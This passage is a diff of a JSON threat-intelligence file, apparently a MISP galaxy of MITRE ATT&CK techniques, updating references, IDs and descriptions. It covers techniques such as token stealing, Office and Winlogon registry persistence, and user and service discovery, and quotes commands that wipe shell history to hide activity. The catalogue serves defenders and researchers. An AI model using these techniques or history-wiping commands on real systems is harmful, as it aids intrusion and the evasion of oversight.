in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)", + "meta": { + "external_id": "T1371", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1371" + ] + }, + "uuid": "72923cae-6c8c-4da2-8f48-b73389529c25", + "value": "Targeted client-side exploitation - T1371" + }, + { + "description": "Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.\n\nFor example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1425", + "refs": [ + "https://attack.mitre.org/techniques/T1425" + ] + }, + "related": [ + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "11bd699b-f2c2-4e48-bf46-fb3f8acd9799", + "value": "Insecure Third-Party Libraries - T1425" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThe use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)", + "meta": { + "external_id": "T1377", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1377" + ] + }, + "uuid": "8a64f743-acaa-49d5-9d3d-ae5616a3876f", + "value": "Exploit public-facing application - T1377" + }, + { + "description": "~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware).", + "meta": { + "external_id": "T1156", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", "Process command-line parameters", "Process use of network" ], "mitre_platforms": [ "Linux", - "MacOS", - "OS X" + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1156" - ], - "uuid": "1aeb52d6-ae80-42bf-ade8-c2635190837d" + "https://attack.mitre.org/techniques/T1156", + "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/" + ] }, - "value": ".bash_profile and .bashrc" + "uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8", + "value": ".bash_profile and .bashrc - T1156" }, { - "description": "===Windows===\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "description": "Understanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)", "meta": { + "external_id": "T1280", + "kill_chain": [ + "mitre-pre-attack:organizational-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1280" + ] + }, + "uuid": "1f82ef59-b7da-4cd3-a41c-2e80f80f084f", + "value": "Identify business processes/tempo - T1280" + }, + { + "description": "### Windows\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.\n\n### Mac\n\nOn Mac, the currently logged in user can be identified with users,w, and who.\n\n### Linux\n\nOn Linux, the currently logged in user can be identified with w and who.", + "meta": { + "external_id": "CAPEC-577", + "kill_chain": [ + "mitre-attack:discovery" + ], "mitre_data_sources": [ "File monitoring", "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1033" - ], - "uuid": "03d7999c-1f4c-42cc-8373-e7690d318104" + "https://attack.mitre.org/techniques/T1033", + "https://capec.mitre.org/data/definitions/577.html" + ] }, - "value": "System Owner/User Discovery" + "uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "value": "System Owner/User Discovery - T1033" }, { - "description": "Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nAccess to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nDetection: Monitor application deployments from a secondary system. Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process use of network, Process monitoring", + "description": "An adversary could use knowledge of the techniques used by security software to evade detection. For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection as described by Rastogi et al. (Citation: Rastogi).\n\nBrodie (Citation: Brodie) describes limitations of jailbreak/root detection mechanisms.\n\nTan (Citation: Tan) describes his experience defeating the jailbreak detection used by the iOS version of Good for Enterprise.", "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process use of network", - "Process monitoring" + "external_id": "EMM-5", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" + "Android", + "iOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1017" - ], - "uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61" + "https://attack.mitre.org/techniques/T1408", + "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html", + "http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf", + "https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf", + "http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions" + ] }, - "value": "Application Deployment Software" + "uuid": "b332a960-3c04-495a-827f-f17a5daed3a6", + "value": "Disguise Root/Jailbreak Indicators - T1408" }, { - "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small AppleScript script.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, Process command-line parameters", + "description": "Templates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)", "meta": { + "external_id": "T1281", + "kill_chain": [ + "mitre-pre-attack:organizational-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1281" + ] + }, + "uuid": "68b45999-bb0c-4829-bbd0-75d6dac57c94", + "value": "Obtain templates/branding materials - T1281" + }, + { + "description": "Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)", + "meta": { + "external_id": "T1291", + "kill_chain": [ + "mitre-pre-attack:technical-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1291" + ] + }, + "uuid": "abd5bed1-4c12-45de-a623-ab8dc4ff862a", + "value": "Research relevant vulnerabilities/CVEs - T1291" + }, + { + "description": "Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)", + "meta": { + "external_id": "T1226", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1226" + ] + }, + "uuid": "51bca707-a806-49bf-91e0-03885b0ac85c", + "value": "Conduct cost/benefit analysis - T1226" + }, + { + "description": "Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.", + "meta": { + "external_id": "T1229", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1229" + ] + }, + "uuid": "ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5", + "value": "Assess KITs/KIQs benefits - T1229" + }, + { + "description": "The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "meta": { + "external_id": "T1245", + "kill_chain": [ + "mitre-pre-attack:target-selection" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1245" + ] + }, + "uuid": "d45fe3c2-0688-43b9-ac07-7eb86f575e93", + "value": "Determine approach/attack vector - T1245" + }, + { + "description": "Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)", + "meta": { + "external_id": "T1257", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1257" + ] + }, + "uuid": "a54a7708-8f64-45f3-ad51-1abf976986a0", + "value": "Mine technical blogs/forums - T1257" + }, + { + "description": "Configure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)", + "meta": { + "external_id": "T1396", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1396" + ] + }, + "uuid": "3d1488a6-59e6-455a-8b80-78b53edc33fe", + "value": "Obtain booter/stressor subscription - T1396" + }, + { + "description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.\n\nIn Mac, this can be done natively with a small [AppleScript](https://attack.mitre.org/techniques/T1155) script.", + "meta": { + "external_id": "T1010", + "kill_chain": [ + "mitre-attack:discovery" + ], "mitre_data_sources": [ "API monitoring", "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1010" - ], - "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830" + "https://attack.mitre.org/techniques/T1010" + ] }, - "value": "Application Window Discovery" + "uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "value": "Application Window Discovery - T1010" }, { - "description": "Data or executables may be stored in New Technology File System (NTFS) partition metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.[[Citation: Journey into IR ZeroAccess NTFS EA]]\n\nThe NTFS format has a feature called Extended Attributes (EA), which allows data to be stored as an attribute of a file or folder.[[Citation: Microsoft File Streams]]\n\nDetection: Forensic techniques exist to identify information stored in EA.[[Citation: Journey into IR ZeroAccess NTFS EA]] It may be possible to monitor NTFS for writes or reads to NTFS EA or to regularly scan for the presence of modified information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Kernel drivers", + "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.", "meta": { + "external_id": "CAPEC-579", + "kill_chain": [ + "mitre-attack:persistence" + ], "mitre_data_sources": [ - "File monitoring", - "Kernel drivers" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1096", - "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html", - "http://msdn.microsoft.com/en-us/library/aa364404" - ], - "uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d" - }, - "value": "NTFS Extended Attributes" - }, - { - "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters.[[Citation: Microsoft CreateProcess]]\n\nAdditional Windows API calls that can be used to execute binaries include:[[Citation: Kanthak Verifier]]\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Process monitoring\n\nContributors: Stefan Kanthak", - "meta": { - "mitre_data_sources": [ - "API monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1106", - "http://msdn.microsoft.com/en-us/library/ms682425", - "https://skanthak.homepage.t-online.de/verifier.html" - ], - "uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670" - }, - "value": "Execution through API" - }, - { - "description": "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. [[Citation: Microsoft runas]]\n \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level.[[Citation: Pentestlab Token Manipulation]]\n\nAdversaries can also create spoofed access tokens if they know the credentials of a user. Any standard user can use the runas command, and the Windows API functions, to do this; it does not require access to an administrator account.\n\nLastly, an adversary can use a spoofed token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.\n\nMetasploit’s Meterpreter payload allows arbitrary token stealing and uses token stealing to escalate privileges. [[Citation: Metasploit access token]] The Cobalt Strike beacon payload allows arbitrary token stealing and can also create tokens. [[Citation: Cobalt Strike Access Token]]\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.[[Citation: Microsoft Command-line Logging]]\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser[[Citation: Microsoft LogonUser]], DuplicateTokenEx[[Citation: Microsoft DuplicateTokenEx]], and ImpersonateLoggedOnUser[[Citation: Microsoft ImpersonateLoggedOnUser]]). Please see the referenced Windows API pages for more information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nEffective Permissions: SYSTEM\n\nContributors: Tom Ueltschi @c_APT_ure", - "meta": { - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1134", - "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", - "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/", - "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx", - "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/", - "https://technet.microsoft.com/en-us/library/bb490994.aspx", - "https://pentestlab.blog/2017/04/03/token-manipulation/", - "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx", - "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx" - ], - "uuid": "a611377b-ff2b-450c-b065-19026fa63488" - }, - "value": "Access Token Manipulation" - }, - { - "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.[[Citation: Microsoft Change Normal Template]]\n\nOffice Visual Basic for Applications (VBA) macros[[Citation: MSDN VBA in Office]] can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.[[Citation: enigma0x3 normal.dotm]][[Citation: Hexacorn Office Template Macros]]\n\nWord Normal.dotm location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm\n\nExcel Personal.xlsb location:C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started[[Citation: Hexacorn Office Test]]\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to Office programs.[[Citation: Microsoft Office Add-ins]]\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins.[[Citation: MRWLabs Office Persistence Add-ins]]\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.[[Citation: MRWLabs Office Persistence Add-ins]]\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows 10, Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows XP, Windows Vista\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nContributors: Loic Jaquemet, Ricardo Dias", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", "Windows Registry", - "File monitoring" + "File monitoring", + "Process monitoring" ], "mitre_platforms": [ - "Windows 10", - "Windows Server 2012", - "Windows 7", - "Windows 8", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows 8.1", - "Windows XP", - "Windows Vista" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1137", - "https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office", - "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/", - "https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/", - "https://support.office.com/article/Add-or-remove-add-ins-0af570c4-5cf3-4fa9-9b88-403625a0b460", - "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/", - "http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/", - "https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea" - ], - "uuid": "8f1a2752-6bf6-46de-8ad1-7455214da405" + "https://attack.mitre.org/techniques/T1004", + "https://capec.mitre.org/data/definitions/579.html", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order" + ] }, - "value": "Office Application Startup" + "uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", + "value": "Winlogon Helper DLL - T1004" }, { - "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique in conjunction with administrator-level Valid Accounts to remotely access a networked system over server message block (SMB)Scheduled Task, Service Execution, and Windows Management Instrumentation. Adversaries can also use NTLM hashes to access administrator shares on systems with Pass the Hash and certain configuration and patch levels.Net utility can be used to connect to Windows admin shares on remote systems using net use commands with valid credentials.Net, on the command-line interface and [[Discovery]] techniques that could be used to find remotely accessible systems.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process use of network, Authentication logs, Process monitoring, Process command-line parameters", + "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.", "meta": { + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion", + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1400", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "https://source.android.com/security/verifiedboot/", + "https://www.apple.com/business/docs/iOS_Security_Guide.pdf" + ] + }, + "uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "value": "Modify System Partition - T1400" + }, + { + "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using [Tasklist](https://attack.mitre.org/software/S0057), and \"net start\" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well.", + "meta": { + "external_id": "CAPEC-574", + "kill_chain": [ + "mitre-attack:discovery" + ], "mitre_data_sources": [ - "Process use of network", - "Authentication logs", "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1077", - "http://support.microsoft.com/kb/314984", - "https://technet.microsoft.com/en-us/library/cc787851.aspx", - "https://en.wikipedia.org/wiki/Server%20Message%20Block", - "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx", - "https://technet.microsoft.com/bb490717.aspx", - "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx" - ], - "uuid": "ffe742ed-9100-4686-9e00-c331da544787" + "https://attack.mitre.org/techniques/T1007", + "https://capec.mitre.org/data/definitions/574.html" + ] }, - "value": "Windows Admin Shares" + "uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "value": "System Service Discovery - T1007" }, { - "description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Authentication logs, File monitoring", + "description": "Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move 